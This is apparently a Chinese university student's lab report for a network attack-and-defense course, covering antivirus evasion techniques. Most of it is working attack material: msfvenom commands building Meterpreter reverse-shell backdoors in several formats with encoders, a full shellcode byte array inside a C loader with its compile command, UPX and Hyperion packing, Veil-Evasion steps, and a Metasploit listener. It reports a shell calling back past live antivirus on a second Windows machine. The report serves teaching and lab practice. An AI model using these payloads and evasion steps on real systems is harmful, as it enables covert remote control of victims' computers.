2019-2020-2 20174319 安睿韬《网络对抗技术》Exp3 免杀原理与实践

目录


 

一、实践目标

二、基础知识

三、任务一:正确使用免杀工具或技巧

1. 正确使用msf编码器

2. msfvenom生成如jar之类的其他文件

3. 使用veil-evasion生成后门程序

4. 使用C+shellcode编程生成后门程序

5. 加壳工具

6. 其他方法

四、任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)&任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

五、问题回答

六、实验收获与感想


    一、实践目标

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
  • 任务二:通过组合应用各种技术实现恶意代码免杀;
  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。 

返回目录


    二、基础知识

1. 免杀知识

    • 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
    • 如果要做好免杀,就要清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。

         2. 恶意软件检测机制

    • 基于特征码的检测

      • 重要的就是,恶意软件的检测,并不是比对整个文件,
      • 而只能只其中一个或几个片断作为识别依据。
      • 这就是最简单的特征码,或“signature”。
    • 启发式恶意软件检测

      • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

      优点:可以检测0-day恶意软件,具有一定通用性

      缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高

    • 基于行为的恶意软件检测

    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

          3. 免杀技术(Evading AV)

    • 改变特征码
      • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

            4. 关于网站VirSCANVirus Total

    • 是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。

返回目录


    三、任务一:正确使用免杀工具或技巧

         1. 正确使用msf编码器,生成exe文件

    • 在kali终端中,输入msfvenom查看该命令的参数详情,选用msfvenom -l encoders查看编码器情况。 objdump -d将

    • 将实验2生成的后门程序20174319_backdoor.exe上传至VirSCAN网站进行测试,结果如下:
    • 由此可见不加任何处理的后门程序能够被大多数杀软检测到,接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测

      • -e 用来选择编码器
      • -b 用来去除需要去除的字符,应使 '\x00' 不出现在shellcode中,因为shellcode以 '\x00' 为结束符
      • -i 设置迭代次数,这里设置迭代次数为10
    • 生成一次编码的后门程序:

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.211.1 LPORT=4319 -f exe > art_encoded.exeb

    • 紧接着生成十次编码的后门程序:
    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.0.15 LPORT=5317 -f exe > art_encoded1.exe

    • 发现分数降低了一点,经过编码后虽然被检测出的概率下降了,但是大多数杀软还是会被检测出来。

返回目录


         2.msfvenom生成如jar之类的其他文件

    • 生成jar文件:
      • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4319 x> art_backdoor_java.jar

      • 检测结果:

    • 生成jsp文件:
      • msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.211.129 LPORT=4319 x> 20174319_jsp.jsp

      • 检测结果

    • 生成php文件:
      • msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4319 x> art_backdoor.php

      • 检测结果     
    • 生成apk文件:
      • msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.211.129 LPORT=4319 x> 20174319_apk.apk
      • 检测结果

返回目录


        3.使用veil-evasion生成后门程序

    • 使用sudo apt-get install veil用进行veil的安装(安装成功前遇到了很多问题,附上自己的解决方法在下面)

    • 安装完成后输入veil命令,选择s直接安装

    • 使用sudo运行veil,输入use evasion

    • 接着输入命令use c/meterpreter/rev_tcp.py进入配置界面

    • 输入set LHOST 192.168.211.129设置反弹连接IP地址(kali linux的ip地址)
    • 输入set LPORT 4319设置端口

    • 使用generate进命令生成文件,接着输入生成的playload的名称用veil_c_4319,保存路径为用g/var/lib/veil/output/compiled/veil_c_4319.exe

返回目录


        4.使用C+shellcode编程生成后门程序

    • 使用如下指令生成shellcode:
      • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.15 LPORT=4319 -f c
      • 生成20175317.c将buf添加到代码中
      • unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30""\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7a\x88" "\x68\x02\x00\x14\xc5\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); } 

    • 使用i686-w64-mingw32-g++ 20174319.c -o 20174319.exe生成exe可执行文件

    • 检测结果

返回目录


        5.加壳工具

                (1)使用加密壳(upx)进行加壳

    • 使用命令upx 20174319.exe -o art20174319pro.exe对20174319.exe加壳成art20174319.exe

    •  检测结果:

             (2)使用加密壳(Hyperion)进行加壳

    • 切到该目录/usr/share/windows-resources/hyperion/

    • 并将需要加壳的软件放进来
    • 接下来执行命令 wine hyperion.exe -v art20174319.exe art20174319_Hyperion.exe 

 

    • 检测结果

返回目录


        6.其他方法

    • 利用veil-evasion,输入veil进入工具

 

    • 使用evasion,list列出所有有效载荷

    • 使用第32个,是Python下shellcode在DES下加密一种

    • 输入option查看有效荷载的选项

    • 修改用户名后使用generate生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号使用tab自动获取

    • 输入生成文件的文件名,选择Py2Exe生成exe文件

    • 检测结果,成功通过免杀测试

返回目录


任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)&任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 一种使用shellcode加载器的方法,shellcode加载器中选择shellcode_launcher(下载地址
  • 使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.211.129 lport=4319 -f raw -o 20174319a.raw 
  • 打开msfconsole进行监听:
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.211.129       //Linux端的IP地址 
set LPORT 4319    //与之前输入的端口号一致
exploit    //开始监听
  • 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20174319a.raw 
  • 成功回弹,杀软也没有查杀
  • shellcode_launcher.exe和20174319a.raw通过检测
  • 主机:Windows 10
  • 杀软:腾讯电脑管家V13.0.19837

返回目录


 

    五、回答问题

    • (1)杀软是如何检测出恶意代码的?

a.通过检测代码中的特征码或者某些特征片段,将其于自己的特征码库进行比对,如代码中检测出特征码或者某些特征片段,就将其判定为恶意代码。

b.监控进程行为有无异常,如果在运行时出现了非法越权行为等,就将其判定为恶意代码。

    • (2)免杀是做什么?

                       通过对恶意代码加壳或者进行编码等操作,隐藏代码中的特征码或者某些特征片段,起到混淆视听的作用,使得杀软不容易检测出该恶意代码,起到免杀的作用。

    • (3)免杀的基本方法有哪些?
      • 文件免杀

        • 加花
        • 修改文件特征码
        • 加壳
        • 修改加壳后的文件
      • 内存免杀

        • 修改内存特征
      • 行为免杀

        • 加花(加区加花/去头加花)
        • 特征码定位(直接替换/二叉树)
        • 特征码修改(直接修改/跳转修改)
        • 加壳(压缩/加密)+修改加壳后的文件
    • (4)开启杀软能绝对防止电脑中恶意代码吗?
      • 不能。通过本次实验已经能看出杀软不能检测出所有的恶意软件,杀软的病毒库中如果没有记录该特征片段,或着没有检测该恶意代码的有效手段则无法检测到该恶意代码,就不能及时杀掉电脑中的恶意代码。

返回目录


    六、实验收获与感想

        本次实验是在上次后门实验的基础上进行的,需要我们熟练掌握和运用后门技术。在实验过程中,更加透彻地了解了免杀概念、免杀方法,能够熟练使用VirusTotal进行检测,虽然现在做实验大多还是跟着老师和其他同学的步骤按部就班的走,但是通过模仿学习,使我对后门、免杀能够由更深的理解,为更加深入的研究指明方向。 实验中,生成的一些后门程序有的并没有被本机的杀软检测出来,这使我认识到,杀软没有被检测出来,并不代表完全安全,在以后上网的过程中还需提高安全意识,要在官方正规网站下载程序,降低被植入后门的可能性。

 

 返回目录

 



posted @ 2020-04-02 20:08  20174319安睿韬  阅读(235)  评论(0编辑  收藏
锚点链接 跳转一 跳转二
我是占位的块
我是跳转一跳到的位置
我是跳转二跳到的位置
我是占位的块